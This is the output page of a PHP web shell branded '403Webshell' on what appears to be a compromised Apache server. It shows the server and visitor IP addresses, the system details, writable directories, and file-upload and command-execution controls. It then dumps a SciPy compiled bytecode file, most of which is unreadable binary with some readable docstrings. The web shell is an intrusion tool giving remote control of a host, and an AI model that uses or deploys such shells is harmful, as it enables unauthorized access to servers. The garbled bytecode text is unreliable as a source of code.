403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/odr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/odr/__pycache__/_models.cpython-311.pyc
�

d�cx��^�dZddlZddlmZgd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�ZGd�de��Ze��Zd�ZGd�de��Ze��Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZGd�de��Ze��ZGd�d e��Z e ��Z!dS)!zI Collection of Model instances for use with the odrpack fitting package.
�N)�Model)r�exponential�multilinear�	unilinear�	quadratic�
polynomialc��|d|dd�}}|jddf|_|||z�d���zS�Nr���axis)�shape�sum)�B�x�a�bs    �3/usr/lib/python3/dist-packages/scipy/odr/_models.py�_lin_fcnr
sE���Q�4��1�2�2��q�A��w�q�z�1�o�A�G���!��y�y�a�y� � � � �c���tj|jdt��}tj||���f��}|jd|jdf|_|S�N���)�np�onesr�float�concatenate�ravel)rrr�ress    r�_lin_fjbr sQ��
������U�#�#�A�
�.�!�Q�W�W�Y�Y��
(�
(�C�����a�g�b�k�*�C�I��Jrc��|dd�}tj||jdf|jdzd���}|j|_|S)Nrrrr)r�repeatr)rrrs   r�_lin_fjdr#sF��	�!�"�"��A�
�	�!�a�g�b�k�^�A�G�B�K�/�a�8�8�8�A��g�A�G��Hrc��t|jj��dkr|jjd}nd}tj|dzft
��S�N�rr)�lenrrrrr)�data�ms  r�_lin_estr*sG��
�4�6�<���A����F�L��O���
��
�7�A��E�8�U�#�#�#rc��|d|dd�}}|jddf|_|tj|tj||��zd���zSr
�rrr�power)rr�powersrrs     r�	_poly_fcnr/,sS���Q�4��1�2�2��q�A��w�q�z�1�o�A�G��r�v�a�"�(�1�f�-�-�-�A�6�6�6�6�6rc���tjtj|jdt��tj||��jf��}|jd|jdf|_|Sr)rrrrrr-�flat)rrr.rs    r�_poly_fjacbr23s[��
�.�"�'�!�'�"�+�u�5�5��(�1�f�-�-�2�4�5�5�C�����a�g�b�k�*�C�I��Jrc��|dd�}|jddf|_||z}tj|tj||dz
��zd���S)Nrrrr,)rrr.rs    r�_poly_fjacdr4:sS��	�!�"�"��A��w�q�z�1�o�A�G�	�F�
�A�
�6�!�b�h�q�&��(�+�+�+�!�4�4�4�4rc�N�|dtj|d|z��zS�Nrr�r�exp�rrs  r�_exp_fcnr:C�#���Q�4�"�&��1����"�"�"�"rc�N�|dtj|d|z��zS)Nrr7r9s  r�_exp_fjdr=Gr;rc���tjtj|jdt��|tj|d|z��zf��}d|jdf|_|S)Nrrr&)rrrrrr8)rrrs   r�_exp_fjbr?KsV��
�.�"�'�!�'�"�+�u�5�5�q�2�6�!�A�$��(�;K�;K�7K�L�
M�
M�C��A�G�B�K� �C�I��Jrc�.�tjddg��S)N��?)r�array�r(s r�_exp_estrDQs��
�8�R��H���rc�"��eZdZdZ�fd�Z�xZS)�_MultilinearModela
    Arbitrary-dimensional linear model

    This model is defined by :math:`y=\beta_0 + \sum_{i=1}^m \beta_i x_i`

    Examples
    --------
    We can calculate orthogonal distance regression with an arbitrary
    dimensional linear model:

    >>> from scipy import odr
    >>> import numpy as np
    >>> x = np.linspace(0.0, 5.0)
    >>> y = 10.0 + 5.0 * x
    >>> data = odr.Data(x, y)
    >>> odr_obj = odr.ODR(data, odr.multilinear)
    >>> output = odr_obj.run()
    >>> print(output.beta)
    [10.  5.]

    c
���t���tttt
dddd����dS)NzArbitrary-dimensional Linearz y = B_0 + Sum[i=1..m, B_i * x_i]z&$y=\beta_0 + \sum_{i=1}^m \beta_i x_i$��name�equ�TeXequ)�fjacb�fjacd�estimate�meta)�super�__init__rr r#r*��self�	__class__s �rrQz_MultilinearModel.__init__msQ���
������H�H�x�8�;�E�G�G�	�	H�	H�	H�	H�	Hr��__name__�
__module__�__qualname__�__doc__rQ�
__classcell__�rTs@rrFrFVsK���������,H�H�H�H�H�H�H�H�HrrFc�4�tj|��}|jdkrtjd|dz��}t	|��df|_t	|��dz}|fd�}tttt||fdd|dz
zd|dz
zd����S)	a�
    Factory function for a general polynomial model.

    Parameters
    ----------
    order : int or sequence
        If an integer, it becomes the order of the polynomial to fit. If
        a sequence of numbers, then these are the explicit powers in the
        polynomial.
        A constant term (power 0) is always included, so don't include 0.
        Thus, polynomial(n) is equivalent to polynomial(range(1, n+1)).

    Returns
    -------
    polynomial : Model instance
        Model instance.

    Examples
    --------
    We can fit an input data using orthogonal distance regression (ODR) with
    a polynomial model:

    >>> import numpy as np
    >>> import matplotlib.pyplot as plt
    >>> from scipy import odr
    >>> x = np.linspace(0.0, 5.0)
    >>> y = np.sin(x)
    >>> poly_model = odr.polynomial(3)  # using third order polynomial model
    >>> data = odr.Data(x, y)
    >>> odr_obj = odr.ODR(data, poly_model)
    >>> output = odr_obj.run()  # running ODR fitting
    >>> poly = np.poly1d(output.beta[::-1])
    >>> poly_y = poly(x)
    >>> plt.plot(x, y, label="input data")
    >>> plt.plot(x, poly_y, label="polynomial ODR")
    >>> plt.legend()
    >>> plt.show()

    �rc�8�tj|ft��S)N)rrr)r(�len_betas  r�	_poly_estzpolynomial.<locals>._poly_est�s���w��{�E�*�*�*rzSorta-general Polynomialz$y = B_0 + Sum[i=1..%s, B_i * (x**i)]z)$y=\beta_0 + \sum_{i=1}^{%s} \beta_i x^i$rH)rMrLrN�
extra_argsrO)	r�asarrayr�aranger'rr/r4r2)�orderr.r_r`s    rrrxs���R�Z��
�
�F�
�|�r�����1�f�q�j�)�)����K�K��#�F�L��6�{�{�Q��H�!)�+�+�+�+���+�[�#��	�9�>�(�1�*�M�G�!�!��%�&�&�'�'�'�'rc�"��eZdZdZ�fd�Z�xZS)�_ExponentialModela�
    Exponential model

    This model is defined by :math:`y=\beta_0 + e^{\beta_1 x}`

    Examples
    --------
    We can calculate orthogonal distance regression with an exponential model:

    >>> from scipy import odr
    >>> import numpy as np
    >>> x = np.linspace(0.0, 5.0)
    >>> y = -10.0 + np.exp(0.5*x)
    >>> data = odr.Data(x, y)
    >>> odr_obj = odr.ODR(data, odr.exponential)
    >>> output = odr_obj.run()
    >>> print(output.beta)
    [-10.    0.5]

    c
���t���tttt
dddd����dS)N�Exponentialzy= B_0 + exp(B_1 * x)z$y=\beta_0 + e^{\beta_1 x}$rH�rMrLrNrO)rPrQr:r=r?rDrRs �rrQz_ExponentialModel.__init__�sQ���
��������"*�'4�&=�)G�I�I�	�	J�	J�	J�	J�	JrrUr[s@rrfrf��K���������*J�J�J�J�J�J�J�J�Jrrfc�*�||dz|dzSr6r]r9s  r�_unilinrl�s���Q�q�T�6�A�a�D�=�rc�R�tj|jt��|dzS)Nr)rrrrr9s  r�_unilin_fjdrn�s��
�7�1�7�E�"�"�Q�q�T�)�)rc��tj|tj|jt��f��}d|jz|_|S)N)r&�rrrrr�rr�_rets   r�_unilin_fjbrs�s6��
�>�1�b�g�a�g�u�5�5�6�7�7�D�����D�J��Krc��dS)N)rArAr]rCs r�_unilin_estru�s���8rc�B�|||dz|dzz|dzS)Nrrr&r]r9s  r�
_quadraticrw�s&���a��!��f�q��t�m��q��t�#�#rc�0�d|z|dz|dzSr%r]r9s  r�	_quad_fjdry�s���Q�3�q��t�8�a��d�?�rc��tj||z|tj|jt��f��}d|jz|_|S)N)�rprqs   r�	_quad_fjbr|�s<��
�>�1�Q�3��2�7�1�7�E�#:�#:�;�<�<�D�����D�J��Krc��dS)N)rArArAr]rCs r�	_quad_estr~�s���:rc�"��eZdZdZ�fd�Z�xZS)�_UnilinearModela�
    Univariate linear model

    This model is defined by :math:`y = \beta_0 x + \beta_1`

    Examples
    --------
    We can calculate orthogonal distance regression with an unilinear model:

    >>> from scipy import odr
    >>> import numpy as np
    >>> x = np.linspace(0.0, 5.0)
    >>> y = 1.0 * x + 2.0
    >>> data = odr.Data(x, y)
    >>> odr_obj = odr.ODR(data, odr.unilinear)
    >>> output = odr_obj.run()
    >>> print(output.beta)
    [1. 2.]

    c
���t���tttt
dddd����dS)NzUnivariate Linearzy = B_0 * x + B_1z$y = \beta_0 x + \beta_1$rHri)rPrQrlrnrsrurRs �rrQz_UnilinearModel.__init__sQ���
�������;�"-�':�&9�)F�H�H�	�	I�	I�	I�	I�	IrrUr[s@rr�r��sK���������*I�I�I�I�I�I�I�I�Irr�c�"��eZdZdZ�fd�Z�xZS)�_QuadraticModela�
    Quadratic model

    This model is defined by :math:`y = \beta_0 x^2 + \beta_1 x + \beta_2`

    Examples
    --------
    We can calculate orthogonal distance regression with a quadratic model:

    >>> from scipy import odr
    >>> import numpy as np
    >>> x = np.linspace(0.0, 5.0)
    >>> y = 1.0 * x ** 2 + 2.0 * x + 3.0
    >>> data = odr.Data(x, y)
    >>> odr_obj = odr.ODR(data, odr.quadratic)
    >>> output = odr_obj.run()
    >>> print(output.beta)
    [1. 2. 3.]

    c
���t���tttt
dddd����dS)N�	Quadraticzy = B_0*x**2 + B_1*x + B_2z&$y = \beta_0 x^2 + \beta_1 x + \beta_2rHri)rPrQrwryr|r~rRs �rrQz_QuadraticModel.__init__3sQ���
������i�y�9�%�5�G�I�I�	�	J�	J�	J�	J�	JrrUr[s@rr�r�rjrr�)"rY�numpyr�scipy.odr._odrpackr�__all__rr r#r*r/r2r4r:r=r?rDrFrrrfrrlrnrsrurwryr|r~r�rr�rr]rr�<module>r�su��������$�$�$�$�$�$�����!�!�!����
�
�
�
$�
$�
$�7�7�7����5�5�5�#�#�#�#�#�#�������
H�H�H�H�H��H�H�H�> ��!�!��:'�:'�:'�zJ�J�J�J�J��J�J�J�< ��!�!�����*�*�*�������$�$�$����������I�I�I�I�I�e�I�I�I�<
�O���	�J�J�J�J�J�e�J�J�J�<
�O���	�	�	r

Youez - 2016 - github.com/yon3zu
LinuXploit